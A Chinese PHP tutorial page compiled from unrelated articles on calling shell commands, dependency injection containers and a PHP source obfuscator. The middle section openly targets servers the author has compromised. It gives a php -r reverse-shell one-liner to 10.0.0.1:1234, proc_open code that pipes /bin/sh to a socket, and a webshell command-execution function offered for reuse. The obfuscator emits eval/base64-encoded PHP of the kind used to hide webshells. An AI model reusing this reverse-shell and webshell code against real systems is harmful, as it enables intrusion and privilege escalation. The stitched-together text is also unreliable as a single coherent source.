PHP调用linux外部命令的例子
相信大家或多或少都用过AMH,Vestacp等vps面板,这些面板都是使用的php语言,从本质上来说就是php执行linux的外部命令。
PHP 为执行外部命令提供大量函数,其中包括 shell_exec()、exec()、passthru() 和 system()。这些命令是相似的,但为您运行的外部程序提供不同的界面。所有这些命令都衍生一个子进程,用于运行您指定的命令或脚本,并且每个子进程会在命令输出写到标准输出 (stdout) 时捕捉它们。
shell_exec函数
说明:通过 shell 运行外部程序,然后以字符串的形式返回结果。
语法:string shell_exec ( string $cmd )
返回值: 字符串
详细介绍
shell_exec() 命令行实际上仅是反撇号 (`) 操作符的变体,通过该命令可以运行shell命令,然后以字符串的形式返回结果。
示例代码
统计当前目录下所有文件中的单词数量,并输出前五行。
<?php
$results = shell_exec('wc -w *.txt | head -5');
echo "<pre>".$results . "
“;
?>
exec函数
说明:与 shell_exec() 相似,返回输出的最后一行
语法:string exec ( string $command [, array &$output [, int &$return_var ]] )
返回值: 字符串
详细介绍:
本函数执行输入 command 的外部程序或外部指令。它的返回字符串只是外部程序执行后返回的最后一行;若是 return_var 跟 output 二个参数都存在,则执行 command 之后的状态会填入 return_var 中。
实例代码:
统计当前目录下所有文件中的单词数量,并输出前五行,但是实际上只输出了一行。
<?php
$results = exec('wc -w *.txt | head -5');
echo $results;
#只会输出一行:
#3847 myfile.txt
?>
passthru()
说明:passthru() 允许您运行外部程序,并在屏幕上显示结果。
语法:void passthru ( string $command [, int &$return_var ] )
返回值: 整数
详细介绍:
passthru() 允许您运行外部程序,并在屏幕上显示结果。您不需要使用 echo 或 return 来查看结果;它们会显示在浏览器上。您可以添加可选的参数,即保存从外部程序返回的代码的变量,比如表示成功的 0,这为调试提供更好的机制。
实例代码:
<?php
passthru('wc -w *.txt | head -5',$returnval);
echo "<hr/>".$returnval;
?>
system函数
说明:执行外部程序并显示输出资料。
语法:string system ( string $command [, int &$return_var ] )
返回值: 字符串
详细介绍
system() 命令是一种混合体。它像 passthru() 一样直接输出从外部程序接收到的任何东西。它还像 exec() 一样返回最后一行,并使返回代码可用。
示例代码
<?php
system('wc -w *.txt | head -5');
#输出如下:
#123 file1.txt 332 file2.txt 444 file3.txt
#and so on
?>
小结
一般来说,exec() 命令比较常用;
如果不关心结果,并且命令比较简单时,可以使用 shell_exec();
如果仅需返回一个 shell 脚本,可以使用 passthru()。
不过小编还是要说一句,没有必须使用php执行系统函数了,我们可以禁止掉了,在php.ini中我们如下写
disable_functions = proc_open,exec,passthru,shell_exec,system,popen
就可以了。
webshell对于我们站长来讲肯定听到比较多了,我们网站可能经常被人使用期webshell方式注入一些东西了,下面一起来看一个php webshell下直接反弹shell的例子,具体如下。
inux下,有时候拿到webshell需要提权,提权必须要得到一个交互式的shell。
我看了一下常用的php webshell,对于命令执行、反弹shell都没有完善的方式。很多webshell里都没有proc_popen、popen这两种方式,特别是proc_popen,比如phpspy。
在我收集的反弹shell集合(http://tool.p1ng.pw/getshell.html)中,有一个方法,就是在命令行中输入:
1
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
但是有个问题,如果在webshell里执行如上代码的话,会把系统的标准输入输出重定向到/bin/sh里,导致php-fpm直接502,然后弹的shell也会瞬间掉了,这个方式比较粗鲁。而我的思路是:我只希望把我新创建的进程(/bin/sh)的标准输入输出重定向到socket中,不去动系统的东西。
当系统没有禁用proc_popen的时候,我们是可以借助proc_popen轻松反弹这样的一个shell的。不需要任何其他语言的支持,php足矣。
$sock = fsockopen($ip, $port);
$descriptorspec = array(
0 => $sock,
1 => $sock,
2 => $sock
);
$process = proc_open('/bin/sh', $descriptorspec, $pipes);
proc_close($process);
其中$ip是反弹的ip,$port是反弹的端口,这也是我个人版webshell里一个小功能:
38.jpg
反弹shell的时候web页面会卡死,因为php没有异步的函数,默认也不支持多线程,所以卡住这个现象很正常,不影响反弹shell。
不过我试了,在windows下似乎不能完美运行。不知道是我环境问题(杀毒软件等)还是代码问题。silic的大马中有一个windows反弹的功能,windows下可以使用:
39.jpg
具体代码请自行到silic webshell中查看。我没有试过,不知道成功率怎么样。
另附我的webshell中执行命令的函数,各位看官自行修改后可以使用。有可以补充的,欢迎告诉我呀~
function exec_comm($cmd, &$type = '', &$suc = TRUE)
{
set_error_handler("customError");
$re = false;
if (empty($cmd)) return '执行结果';
if (empty($type)){
if(function_exists('exec')){
@exec($cmd, $re);
$re = join("\n", $re);
$type = 'exec';
}else if(function_exists('shell_exec') && ($re = shell_exec($cmd))){
$type = 'shell_exec';
}else if(function_exists('system')){
@ob_start();system($cmd);$re=@get_ob_contents();@ob_end_clean();
$type = 'system';
}else if(function_exists('passthru')){
@ob_start();passthru($cmd);$re=@get_ob_contents();@ob_end_clean();
$type = 'passthru';
}else if(is_resource($f = popen($cmd,"r"))){
while(!@feof($f)){$re .= @fread($f,1024);}@pclose($f);
$type = 'popen';
}else if(function_exists('proc_open')){
$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w")
);
$process = proc_open($cmd, $descriptorspec, $pipes);
if (is_resource($process)) {
fwrite($pipes[0], "{$cmd}\r\n");
fwrite($pipes[0], "exit\r\n");
fclose($pipes[0]);
// 读取输出
while (!feof($pipes[1])) {
$re .= fgets($pipes[1], 1024);
}
fclose($pipes[1]);
while (!feof($pipes[2])) {
$re .= fgets($pipes[2], 1024);
}
fclose($pipes[2]);
proc_close($process);
}
}
}else if($type == 'wscript'){
$s= new COM('wscript.shell');
$exec = $s->exec($cmd);
$stdout = $exec->StdOut();
$re = $stdout->ReadAll();
}else if($type == 'application'){
$exe = gpc('exe', 'post', 'c:/windows/system32/cmd.exe');
$shell= new COM('Shell.Application');
$shell->ShellExecute($exe,$cmd);
$re = "请查看{$cmd}中输入文件内容\n";
}
if ($re === false){ $re = '命令执行可能失败,可能是执行函数被禁用或执行无回显'; $suc = FALSE;}
return $re;
}
PHP程序员如何理解依赖注入容器(dependency injection container)
背景知识
传统的思路是应用程序用到一个Foo类,就会创建Foo类并调用Foo类的方法,假如这个方法内需要一个Bar类,就会创建Bar类并调用Bar类的方法,而这个方法内需要一个Bim类,就会创建Bim类,接着做些其它工作。
<?php
// 代码【1】
class Bim
{
public function doSomething()
{
echo __METHOD__, '|';
}
}
class Bar
{
public function doSomething()
{
$bim = new Bim();
$bim->doSomething();
echo __METHOD__, '|';
}
}
class Foo
{
public function doSomething()
{
$bar = new Bar();
$bar->doSomething();
echo __METHOD__;
}
}
$foo = new Foo();
$foo->doSomething(); // Bim::doSomething|Bar::doSomething|Foo::doSomething
使用依赖注入的思路是应用程序用到Foo类,Foo类需要Bar类,Bar类需要Bim类,那么先创建Bim类,再创建Bar类并把Bim注入,再创建Foo类,并把Bar类注入,再调用Foo方法,Foo调用Bar方法,接着做些其它工作。
<?php
// 代码【2】
class Bim
{
public function doSomething()
{
echo __METHOD__, '|';
}
}
class Bar
{
private $bim;
public function __construct(Bim $bim)
{
$this->bim = $bim;
}
public function doSomething()
{
$this->bim->doSomething();
echo __METHOD__, '|';
}
}
class Foo
{
private $bar;
public function __construct(Bar $bar)
{
$this->bar = $bar;
}
public function doSomething()
{
$this->bar->doSomething();
echo __METHOD__;
}
}
$foo = new Foo(new Bar(new Bim()));
$foo->doSomething(); // Bim::doSomething|Bar::doSomething|Foo::doSomething
这就是控制反转模式。依赖关系的控制反转到调用链的起点。这样你可以完全控制依赖关系,通过调整不同的注入对象,来控制程序的行为。例如Foo类用到了memcache,可以在不修改Foo类代码的情况下,改用redis。
使用依赖注入容器后的思路是应用程序需要到Foo类,就从容器内取得Foo类,容器创建Bim类,再创建Bar类并把Bim注入,再创建Foo类,并把Bar注入,应用程序调用Foo方法,Foo调用Bar方法,接着做些其它工作.
总之容器负责实例化,注入依赖,处理依赖关系等工作。
代码演示 依赖注入容器 (dependency injection container)
通过一个最简单的容器类来解释一下,这段代码来自 Twittee
<?php
class Container
{
private $s = array();
function __set($k, $c)
{
$this->s[$k] = $c;
}
function __get($k)
{
return $this->s[$k]($this);
}
}
这段代码使用了魔术方法,在给不可访问属性赋值时,__set() 会被调用。读取不可访问属性的值时,__get() 会被调用。
<?php
$c = new Container();
$c->bim = function () {
return new Bim();
};
$c->bar = function ($c) {
return new Bar($c->bim);
};
$c->foo = function ($c) {
return new Foo($c->bar);
};
// 从容器中取得Foo
$foo = $c->foo;
$foo->doSomething(); // Bim::doSomething|Bar::doSomething|Foo::doSomething
这段代码使用了匿名函数
再来一段简单的代码演示一下,容器代码来自simple di container
<?php
class IoC
{
protected static $registry = [];
public static function bind($name, Callable $resolver)
{
static::$registry[$name] = $resolver;
}
public static function make($name)
{
if (isset(static::$registry[$name])) {
$resolver = static::$registry[$name];
return $resolver();
}
throw new Exception('Alias does not exist in the IoC registry.');
}
}
IoC::bind('bim', function () {
return new Bim();
});
IoC::bind('bar', function () {
return new Bar(IoC::make('bim'));
});
IoC::bind('foo', function () {
return new Foo(IoC::make('bar'));
});
// 从容器中取得Foo
$foo = IoC::make('foo');
$foo->doSomething(); // Bim::doSomething|Bar::doSomething|Foo::doSomething
这段代码使用了后期静态绑定
依赖注入容器 (dependency injection container) 高级功能
真实的dependency injection container会提供更多的特性,如
自动绑定(Autowiring)或 自动解析(Automatic Resolution)
注释解析器(Annotations)
延迟注入(Lazy injection)
下面的代码在Twittee的基础上,实现了Autowiring。
<?php
class Bim
{
public function doSomething()
{
echo __METHOD__, '|';
}
}
class Bar
{
private $bim;
public function __construct(Bim $bim)
{
$this->bim = $bim;
}
public function doSomething()
{
$this->bim->doSomething();
echo __METHOD__, '|';
}
}
class Foo
{
private $bar;
public function __construct(Bar $bar)
{
$this->bar = $bar;
}
public function doSomething()
{
$this->bar->doSomething();
echo __METHOD__;
}
}
class Container
{
private $s = array();
public function __set($k, $c)
{
$this->s[$k] = $c;
}
public function __get($k)
{
// return $this->s[$k]($this);
return $this->build($this->s[$k]);
}
/**
* 自动绑定(Autowiring)自动解析(Automatic Resolution)
*
* @param string $className
* @return object
* @throws Exception
*/
public function build($className)
{
// 如果是匿名函数(Anonymous functions),也叫闭包函数(closures)
if ($className instanceof Closure) {
// 执行闭包函数,并将结果
return $className($this);
}
/** @var ReflectionClass $reflector */
$reflector = new ReflectionClass($className);
// 检查类是否可实例化, 排除抽象类abstract和对象接口interface
if (!$reflector->isInstantiable()) {
throw new Exception("Can't instantiate this.");
}
/** @var ReflectionMethod $constructor 获取类的构造函数 */
$constructor = $reflector->getConstructor();
// 若无构造函数,直接实例化并返回
if (is_null($constructor)) {
return new $className;
}
// 取构造函数参数,通过 ReflectionParameter 数组返回参数列表
$parameters = $constructor->getParameters();
// 递归解析构造函数的参数
$dependencies = $this->getDependencies($parameters);
// 创建一个类的新实例,给出的参数将传递到类的构造函数。
return $reflector->newInstanceArgs($dependencies);
}
/**
* @param array $parameters
* @return array
* @throws Exception
*/
public function getDependencies($parameters)
{
$dependencies = [];
/** @var ReflectionParameter $parameter */
foreach ($parameters as $parameter) {
/** @var ReflectionClass $dependency */
$dependency = $parameter->getClass();
if (is_null($dependency)) {
// 是变量,有默认值则设置默认值
$dependencies[] = $this->resolveNonClass($parameter);
} else {
// 是一个类,递归解析
$dependencies[] = $this->build($dependency->name);
}
}
return $dependencies;
}
/**
* @param ReflectionParameter $parameter
* @return mixed
* @throws Exception
*/
public function resolveNonClass($parameter)
{
// 有默认值则返回默认值
if ($parameter->isDefaultValueAvailable()) {
return $parameter->getDefaultValue();
}
throw new Exception('I have no idea what to do here.');
}
}
// ----
$c = new Container();
$c->bar = 'Bar';
$c->foo = function ($c) {
return new Foo($c->bar);
};
// 从容器中取得Foo
$foo = $c->foo;
$foo->doSomething(); // Bim::doSomething|Bar::doSomething|Foo::doSomething
// ----
$di = new Container();
$di->foo = 'Foo';
/** @var Foo $foo */
$foo = $di->foo;
var_dump($foo);
/*
Foo#10 (1) {
private $bar =>
class Bar#14 (1) {
private $bim =>
class Bim#16 (0) {
}
}
}
*/
$foo->doSomething(); // Bim::doSomething|Bar::doSomething|Foo::doSomething
以上代码的原理参考PHP官方文档:反射,PHP 5 具有完整的反射 API,添加了对类、接口、函数、方法和扩展进行反向工程的能力。 此外,反射 API 提供了方法来取出函数、类和方法中的文档注释。
php 代码加密类,大家可以根据自己的需求进行修改,原类如下,希望能分享给大家。本次在ubuntu下测试没有问题。
<?php
class Encryption{
private $c='';//存储密文
private $s='',$q1,$q2,$q3,$q4,$q5,$q6;//存储生成的加密后的文件内容
//如果不设置一个值,isset会表示不存在;
private $file='';//读取文件的路径
private $source='',$target='';
//构造函数,实例化时调用初始化全局变量;
public function __construct(){
//初始化全局变量
$this->initialVar();
//echo "hello \n";
}
/*
*@input $property_name,$value
*@output
* 魔法方法,对变量进行设置值;可根据需求进行处理。若直接去除if判断表示可用设置任何属性的值,包括不存在的属性;
*/
public function __set($property_name,$value){
//定义过的变量;
if(isset($this->$property_name)){
$this->$property_name = $value;
}else{
//异常处理,处理未声明的变量赋值;可根据需求进行处理。
throw new Exception("property does not exist");
}
}
//魔法方法 取出变量的值;
public function __get($property_name){
if(isset($this->$property_name)){
return $this->$property_name;
}else{
//throw new Exception("property does not exist");
return NULL;
}
}
//取随机排序
private function RandAbc($length=""){//随机排序取回
$str="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
return str_shuffle($str);
}
//对明文内容进行加密处理
private function ciphertext($filename){
//$filename='index.php';
$T_k1=$this->RandAbc();
$T_k2=$this->RandAbc();
$vstr=file_get_contents($filename);
$v1=base64_encode($vstr);
$c=strtr($v1,$T_k1,$T_k2);
$this->c=$T_k1.$T_k2.$c;
return $this;
}
//初始化变量
private function initialVar(){
$this->q1="O00O0O";//base64_decode
$this->q2="O0O000";//$c(原文经过strtr置换后的密文,由 目标字符+替换字符+base64_encode(‘原文内容’)构成)
$this->q3="O0OO00";//strtr
$this->q4="OO0O00";//substr
$this->q5="OO0000";//52
$this->q6="O00OO0";//urldecode解析过的字符串(n1zb/ma5\vt0i28-pxuqy*6%6Crkdg9_ehcswo4+f37j)
}
//生成加密后的模板(复杂版本);
private function model(){
//$c = $this->c;
//$this->initialVar();
$this->s='<?php $'.$this->q6.'=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$'.
$this->q1.'=$'.$this->q6.'{3}.$'.$this->q6.'{6}.$'.$this->q6.'{33}.$'.$this->q6.'{30};$'.$this->q3.'=$'.$this->q6.'{33}.$'.$this->q6.'{10}.$'
.$this->q6.'{24}.$'.$this->q6.'{10}.$'.$this->q6.'{24};$'.$this->q4.'=$'.$this->q3.'{0}.$'.$this->q6.'{18}.$'.$this->q6.'{3}.$'.$this->q3.'{0}
.$'.$this->q3.'{1}.$'.$this->q6.'{24};$'.$this->q5.'=$'.$this->q6.'{7}.$'.$this->q6.'{13};$'.$this->q1.'.=$'.$this->q6.'{22}.$'.$this->q6.'{36}
.$'.$this->q6.'{29}.$'.$this->q6.'{26}.$'.$this->q6.'{30}.$'.$this->q6.'{32}.$'.$this->q6.'{35}.$'.$this->q6.'{26}.$'.$this->q6.'{30};
eval($'.$this->q1.'("'.base64_encode('$'.$this->q2.'="'.$this->c.'";
eval(\'?>\'.$'.$this->q1.'($'.$this->q3.'($'.$this->q4.'($'.$this->q2.',$'.$this->q5.'*2),$'.$this->q4.'($'.$this->q2.',$'.$this->q5.',$'.$this->q5.'),
$'.$this->q4.'($'.$this->q2.',0,$'.$this->q5.'))));').'"));?>';
return $this;
}
//创建加密文件
private function build($target){
//$this->encodes("./index.php");
//$this->model();
$fpp1 = fopen($target,'w');
fwrite($fpp1,$this->s) or die('写入是失败!');
fclose($fpp1);
return $this;
}
//加密处理 连贯操作
public function encode($file,$target){
//$file = "index.php";
//连贯操作其实就是利用函数处理完后返回自身
$this->ciphertext($file)->model()->build($target);
echo 'encode------'.$target.'-----ok<br/>';
}
//解密
public function decode($file,$target=''){
//读取要解密的文件
$fpp1 = file_get_contents($file);
$this->decodeMode($fpp1)->build($target);
echo 'decode------'.$target.'-----ok<br/>';
}
//解密模板,得到解密后的文本
private function decodeMode($fpp1){
//以eval为标志 截取为数组,前半部分为密文中的替换掉的函数名,后半部分为密文
$m = explode('eval',$fpp1);
//对系统函数的替换部分进行执行,得到系统变量
$varStr = substr($m[0],strpos($m[0],'$'));
//执行后,后续就可以使用替换后的系统函数名
eval($varStr);
//判断是否有密文
if(!isset($m[1])){
return $this;
}
//对密文进行截取 {$this->q4} substr
$star = strripos($m[1],'(');
$end = strpos($m[1],')');
$str = ${$this->q4}($m[1],$star,$end);
//对密文解密 {$this->q1} base64_decode
$str = ${$this->q1}($str);
//截取出解密后的 核心密文
$evallen = strpos($str,'eval');
$str = substr($str,0,$evallen);
//执行核心密文 使系统变量被赋予值 $O0O000
eval($str);
//并不能将如下段封装,因为 ${$this->qn} 并不能在全文中起作用
$this->s = ${$this->q1}(
${$this->q3}(
${$this->q4}(
${$this->q2},${$this->q5}*2
),
${$this->q4}(
${$this->q2},${$this->q5},${$this->q5}
),
${$this->q4}(
${$this->q2},0,${$this->q5}
)
)
);
return $this;
}
//递归读取并创建目标目录结构
private function targetDir($target){
if(!empty($target) ) {
if(!file_exists($target)){
mkdir($target,0777,true);
}else{
chmod($target,0777);
}
}
}
//递归解密 对指定文件夹下的php文件解密
public function decodeDir($source,$target=""){
if(is_dir($source)){
$this->targetDir($target);
$dir = opendir($source);
while(false!=$file=readdir($dir))
{
//列出所有文件并去掉'.'和'..' 此处用的实例为thinkphp框架,所以默认排除里Thinkphp目录,用户可以按照自己的需求设置
if($file!='.' && $file!='..' && $file !='ThinkPHP')
{
$path = $target.DIRECTORY_SEPARATOR.$file;
$sourcePath = $source.DIRECTORY_SEPARATOR.$file;
$this->decodeDir($sourcePath,$path);
}
}
}else if(is_file($source)){
$extension=substr($source,strrpos($source,'.')+1);
if(strtolower($extension)=='php'){
$this->decode($source,$target);
}else{
//不是php的文件不处理
copy($source, $target);
}
//return;
}
}
//递归加密 对指定文件夹下的php文件加密
public function encodeDir($source,$target){
if(is_dir($source)){
$this->targetDir($target);
$dir = opendir($source);
while(false!=$file=readdir($dir))
{
//列出所有文件并去掉'.'和'..'
if($file!='.' && $file!='..' && $file !='ThinkPHP')
{
$path = $target.DIRECTORY_SEPARATOR.$file;
$sourcePath = $source.DIRECTORY_SEPARATOR.$file;
$this->encodeDir($sourcePath,$path);
}
}
}else if(is_file($source)){
$extension=substr($source,strrpos($source,'.')+1);
if(strtolower($extension)=='php'){
$this->encode($source,$target);
}else{
copy($source, $target);
}
}
}
}
$ob = new Encryption();
$ob->source = "/var/www/bookReservation";
$ob->target = "/var/www/jiami/bookReservation";
//解密指定文件
//$ob->decode('D:\\php\\WWW\\workspace\\weixin2\\Application\\Home\\Controller\\IndexController.class.php');
//$ob->decode('jiami.php');
//$ob->decode('dam6.php');
//对一个指定的文件目录进行加密
$ob->encodeDir($ob->source,$ob->target);
//对一个指定的文件目录进行解密
$ob->decodeDir($ob->target,"/var/www/jiami/bookReservationD");
php提供4种方法执行系统外部命令:exec()、passthru()、system()、 shell_exec()。
在开始介绍前,先检查下php配置文件php.ini中是有禁止这是个函数。找到 disable_functions,配置如下:
disable_functions =
如果“disable_functions=”后面有接上面四个函数,将其删除。
默认php.ini配置文件中是不禁止你调用执行外部命令的函数的。
方法一:exec()
function exec(string $command,array[optional] $output,int[optional] $return_value)
php代码:
<?php
echo exec("ls",$file);
echo "</br>";
print_r($file);
?>
执行结果:
test.php
Array( [0] => index.php [1] => test.php)
知识点:
exec 执行系统外部命令时不会输出结果,而是返回结果的最后一行,如果你想得到结果你可以使用第二个参数,让其输出到指定的数组,此数组一个记录代表输出的一行,即如果输出结果有20行,则这个数组就有20条记录,所以如果你需要反复输出调用不同系统外部命令的结果,你最好在输出每一条系统外部命令结果时清空这个数组,以防混乱。第三个参数用来取得命令执行的状态码,通常执行成功都是返回0。
方法二:passthru()
function passthru(string $command,int[optional] $return_value)
代码:
<?php
passthru("ls");
?>
执行结果:
index.phptest.php
知识点:
passthru与system的区别,passthru直接将结果输出到浏览器,不需要使用 echo 或 return 来查看结果,不返回任何值,且其可以输出二进制,比如图像数据。
方法三:system()
function system(string $command,int[optional] $return_value)
代码:
<?php
system("ls /");
?>
执行结果:
binbootcgroupdevetchomeliblost+foundmediamntoptprocrootsbinselinuxsrvsystmpusrvar
知识点:
system和exec的区别在于system在执行系统外部命令时,直接将结果输出到浏览器,不需要使用 echo 或 return 来查看结果,如果执行命令成功则返回true,否则返回false。第二个参数与exec第三个参数含义一样。
方法四:反撇号`和shell_exec()
shell_exec() 函数实际上仅是反撇号 (`) 操作符的变体
代码:
<?php
echo `pwd`;
?>
执行结果:
/var/www/html
相关文章
- 这篇文章主要介绍了Spring AOP 对象内部方法间的嵌套调用方式,具有很好的参考价值,希望对大家有所帮助。如有错误或未考虑完全的地方,望不吝赐教...2021-08-29
- <?php require('path.inc.php'); header('content-Type: text/html; charset=utf-8'); $borough_id = intval($_GET['id']); if(!$borough_id){ echo ' ...2016-11-25
- 这篇文章主要介绍了c# 三种方法调用WebService接口的相关资料,文中示例代码非常详细,帮助大家更好的理解和学习,感兴趣的朋友可以了解下...2020-07-07
使用percona-toolkit操作MySQL的实用命令小结
1.pt-archiver 功能介绍: 将mysql数据库中表的记录归档到另外一个表或者文件 用法介绍: pt-archiver [OPTION...] --source DSN --where WHERE 这个工具只是归档旧的数据,不会对线上数据的OLTP查询造成太大影响,你可以将...2015-11-24- grep命令是Linux系统中最重要的命令之一,功能是从文本文件或管道数据流中筛选匹配的行和数据,如果再配合正则表达式,功能十分强大,是Linux运维人员必备的命令,这篇文章主要介绍了Linux中grep详解,需要的朋友可以参考下...2023-02-15
- 这篇文章主要介绍了解决Vue watch里调用方法的坑,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧...2020-11-07
- 这篇文章主要介绍了C#隐式运行CMD命令(隐藏命令窗口),本文实现在winform窗口中运行CMD命令,需要的朋友可以参考下...2020-06-25
- 这篇文章主要介绍了js实现调用网络摄像头及常见错误处理,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧...2021-03-07
- MySQL日志主要包含:错误日志、查询日志、慢查询日志、事务日志、二进制日志;日志是mysql数据库的重要组成部分。日志文件中记录着mysql数据库运行期间发生的变化;也就是说用来记录mysql数据库的客户端连接状况、SQL语句...2015-11-24
- 本文实例讲述了PHP实现连接设备、通讯和发送命令的方法。分享给大家供大家参考。具体如下:开发的BS架构的软件(PHP),需要跟设备进行通讯,在此记录一下,欢迎各位指正:1. 采用php socket技术使用TCP/IP连接设备参数$service_po...2015-10-21
- 这篇文章介绍了c#动态调用Webservice的两种方法实例,有需要的朋友可以参考一下...2020-06-25
- 这篇文章主要介绍了解决vue watch数据的方法被调用了两次的问题,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧...2020-11-07
- 这篇文章主要给大家介绍了关于c#中的WebService及其调用方式的相关资料,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧...2020-06-25
- 下面小编就为大家带来一篇C#中加载dll并调用其函数的实现方法。小编觉得挺不错的,现在就分享给大家,也给大家做个参考。一起跟随小编过来看看吧...2020-06-25
- 一、连接Mysql格式: mysql -h主机地址 -u用户名 -p用户密码1、连接到本机上的MYSQL。首先打开DOS窗口,然后进入目录mysql/bin,再键入命令mysql -u root -p,回车后提示你输密码.注意用户名前可以有空格也可以没有空格,但是密...2015-11-08
- 这篇文章主要介绍了javascript实现方法调用与方法触发小结的相关资料,需要的朋友可以参考下...2016-03-30
- 本文章来给大家详细介绍在php中如何来调用执行mysql存储过程然后返回由存储过程返回的值了,有需要了解的同学可进入参考。 。调用存储过程的方法。 a。如果存储过...2016-11-25
- 这篇文章主要介绍了解决jmap命令打印JVM堆信息异常的问题,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧...2020-12-04
- Redis 是一个开源、高性能的Key-Value数据库,被广泛应用在服务器各种场景中。本文介绍几个查看Redis内存信息的命令,包括常用的info memory、info keyspace、bigkeys等。...2021-01-15
- 我们要明确,为什么要进行异步回调?众所周知,普通方法运行,是单线程的,如果中途有大型操作(如:读取大文件,大批量操作数据库,网络传输等),都会导致方法阻塞,表现在界面上就是,程序卡或者死掉,界面元素不动了,不响应了...2020-06-25